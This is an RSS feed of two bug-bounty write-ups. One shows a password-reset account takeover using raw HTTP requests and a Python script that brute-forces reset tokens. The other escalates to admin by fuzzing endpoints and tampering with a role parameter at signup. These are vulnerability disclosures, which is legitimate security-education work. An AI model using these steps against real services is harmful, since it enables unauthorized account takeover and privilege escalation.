<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xEbn-Taimia on Medium]]></title>
        <description><![CDATA[Stories by 0xEbn-Taimia on Medium]]></description>
        <link>https://medium.com/@0xebn-taimia?source=rss-2b8c8f683921------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gmvOMwjB9xoGSK5D1_fEpg.jpeg</url>
            <title>Stories by 0xEbn-Taimia on Medium</title>
            <link>https://medium.com/@0xebn-taimia?source=rss-2b8c8f683921------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 12:36:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xebn-taimia/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Zero-Click account Take-over]]></title>
            <link>https://0xebn-taimia.medium.com/zero-click-account-take-over-deb0fae7a6c1?source=rss-2b8c8f683921------2</link>
            <guid isPermaLink="false">https://medium.com/p/deb0fae7a6c1</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[ato]]></category>
            <dc:creator><![CDATA[0xEbn-Taimia]]></dc:creator>
            <pubDate>Mon, 05 Aug 2024 15:50:33 GMT</pubDate>
            <atom:updated>2024-08-11T11:33:39.209Z</atom:updated>
            <content:encoded><![CDATA[<p>بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ | In the name of God, the most gracious, the most merciful</p><p>Edit : The triager has all the right because the token length is too long and will take to many requests which may lead to dos attack so it can be produced with shorter token</p><p>Hello hackers, My name is Momen samir (0xEbn-Taimia), Today i’ll be discussing a bug that i recently found on a target on hackerone we will mention to it as target.com</p><p>So in the First place this ATO depends on some other bug, let me explains</p><p>1- The reset password link has a weak token function (14 digit can guessable</p><p>2-There is no rate limit on send new-password link</p><p>3- 3- The older token in the link didn’t expired after you got a new one</p><p>Now to Reproduce</p><p>1- You will need to create a new account and log-out then take the reset password request to burp-intruder</p><pre>POST /api/v1/password/forgot HTTP/1.1<br>Host: identity.target.com<br>Cookie: ;<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0<br>Accept: */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Referer: https://www.target.com/<br>Content-Type: application/json<br>X-Client-Platform: web<br>Content-Length: 42<br>Origin: https://www.target.com<br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-site<br>Priority: u=0<br>Te: trailers<br>Connection: close<br><br>{&quot;emailAddress&quot;:&quot;victim-email@google.com&quot;}</pre><p>After sending the request you’ll got a link with token like that :</p><p><a href="https://www.nba.com/account/reset-password?code=qj5j6xa36ex458">https://www.target.com/account/reset-password?token=</a>14-digits-token</p><p>2-Capture the confirm new password request</p><pre>POST /api/v1/password/forgot/update HTTP/1.1<br>Host: identity.target.com<br>Cookie: ;<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0<br>Accept: */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Referer: https://www.target.com/<br>Content-Type: application/json<br>X-Client-Platform: web<br>Content-Length: 42<br>Origin: https://www.target.com<br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-site<br>Priority: u=0<br>Te: trailers<br>Connection: close<br><br>{&quot;newPassword&quot;:&quot;new-password&quot;,&quot;newPasswordConfirm&quot;:&quot;new-password&quot;,&quot;authorizationCode&quot;:&quot;14-digits-token&quot;</pre><p>But there was some protection “the token expires after 5 minutes “</p><p>So, to bypass it and preform the bug we will do the following :</p><p>1-Take the two request’s to burp-intruder</p><p>1- In the First request (send reset password link request) we will set the payload to null payload and send it</p><p>2-in the second request (confirm new password request) we will use some python script to generate 100000 of 14-digits token and send it with intruder</p><pre>import random<br>import string<br>import os<br><br>def generate_payloads(num_payloads, length):<br>    characters = string.ascii_lowercase + string.digits<br>    payloads = [&#39;&#39;.join(random.choices(characters, k=length)) for _ in range(num_payloads)]<br>    return payloads<br><br>num_payloads = 100000  # Set the number of payloads<br>length = 14<br>payloads = generate_payloads(num_payloads, length)<br><br>file_path = os.path.abspath(&#39;payloads.txt&#39;)<br>with open(file_path, &#39;w&#39;) as file:<br>    for payload in payloads:<br>        file.write(payload + &#39;\n&#39;)<br><br>print(f&#39;{num_payloads} payloads of length {length} generated and saved to {file_path}&#39;)</pre><p>So, let me explain</p><p>1- In the first request we will set the victim account and send too many password reset links that contains the token</p><p>But as the token got expierd after 5 minutes we’ll paybass it by sending too many requests with token’s every second as there is no rate limit</p><p>And the older token’s stay valid for 5 miutes after we sent new ones</p><p>2-In the main time we send confirm new password request’s with our generated token’s list , so once we got a token is exist on our list we will got a 200 ok and password changed successfully</p><p>And Booom! I successfully changed the password of the victim’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F9z8ta-SHIZTF9NFI2CRsA.png" /></figure><p>The point is we can send a very large number of valid token’s and at the same time we can guess them since the number is not large and can be guessed and the chance of guessing is very high since we can send a lot of token’s and stay valid .</p><p>But unfortunately the h1 triage closed it as informative because The DoS attack is out of scope !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lm0jdeEdqEMpvPpSJWU89Q.png" /></figure><p>in the end we can’t stop saying:</p><p><strong>Thank god | الْحَمْدُ لِلَّهِ</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=deb0fae7a6c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Access Control leads to Take Admin Role]]></title>
            <link>https://0xebn-taimia.medium.com/broken-access-control-leads-to-take-admin-role-920e46d496b9?source=rss-2b8c8f683921------2</link>
            <guid isPermaLink="false">https://medium.com/p/920e46d496b9</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hunting]]></category>
            <dc:creator><![CDATA[0xEbn-Taimia]]></dc:creator>
            <pubDate>Mon, 13 May 2024 17:29:32 GMT</pubDate>
            <atom:updated>2024-05-13T17:34:08.757Z</atom:updated>
            <content:encoded><![CDATA[<p>بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ | In the name of God, the most gracious, the most merciful</p><p>Hello hackers, My name is Momen samir (0xEbn-Taimia), Today i’ll be discussing a bug that i recently found with my friends by collaboration on bugcrowd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*GicmhuHF2A5-lwMFZvgxDA.png" /></figure><p>So lets git in to it , First the tools we used :</p><p>1- Subfinder (with API keys to collect more subdomains)</p><p>2- FFUF ( To fuzz for endpoints)</p><p>3-Burp suite ( a proxy tool to intercept the requests )</p><ul><li>- First we collect the subdomains and we found a subdomain named :</li></ul><blockquote><em>https://mktgadt.example.com</em></blockquote><p>The response from that subdomain was 404 not found with content lenght 0 zero</p><ul><li>- But always fuzz may you find something, here we used ffuf</li></ul><blockquote><strong><em>ffuf </em></strong><em>-w /home/kali/Desktop/wordlist/</em><strong><em>fuzz.txt </em></strong><em>-</em><strong><em>recursion </em></strong><em>-u https://mktgadt.example.com/</em><strong><em>FUZZ</em></strong></blockquote><p>After fuzzing we found an interesting endpoint with response 200 ok :</p><blockquote><em>https://mktgadt.example.com</em><strong><em>/</em>audience/login</strong></blockquote><p>The endpoint was an admin login page and there was a create account option !!!!</p><p>We immediately created the account but its normal user with no privilege with type : viewer</p><ul><li>now we try to show the create account request in burp and we notice that the parameter “type” is existing in the request</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U6dDA6Vxv8re78cHNi8R9Q.jpeg" /></figure><p>what if we change the parameter value to admin ?</p><ul><li>Booom ! we are admin and we can see the admin interface</li></ul><p>there was more than one type and we can make account with any type :</p><ul><li>1- super-admin ( edit or delete or change privilege )</li><li>2- admin ( delete)</li><li>3- editor (can edit activity )</li><li>4- viewer (just view )</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pXlpCpNxNp8uO_lOB4l8MA.jpeg" /></figure><p>now with super admin account try to edit any account privilege to see its work or no and,</p><p>its work !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RchMgTggZfB8mo4SYOJWLA.jpeg" /></figure><p>We immediately report it to bugcrowd as P1 and it got triaged in just 5 minutes</p><p>but unfortunately the website team tell us that this finding had been fixed prior to this submission being accepted on their end</p><p>But how and it got triaged in just 5 minutes and the bug was fixed in less than 1 day</p><p>and they tell us that them still wanted to have a gesture of gratitude with us and decided to award us with a P4 bounty as this finding helped establish a communication channel with the owning team</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*Y-WlPGXqsFpD6LeoW2p2jQ.png" /></figure><p>we didn’t get the bounty we expected but in the end we can’t stop saying:</p><p><strong>Thank god | الْحَمْدُ لِلَّهِ</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=920e46d496b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>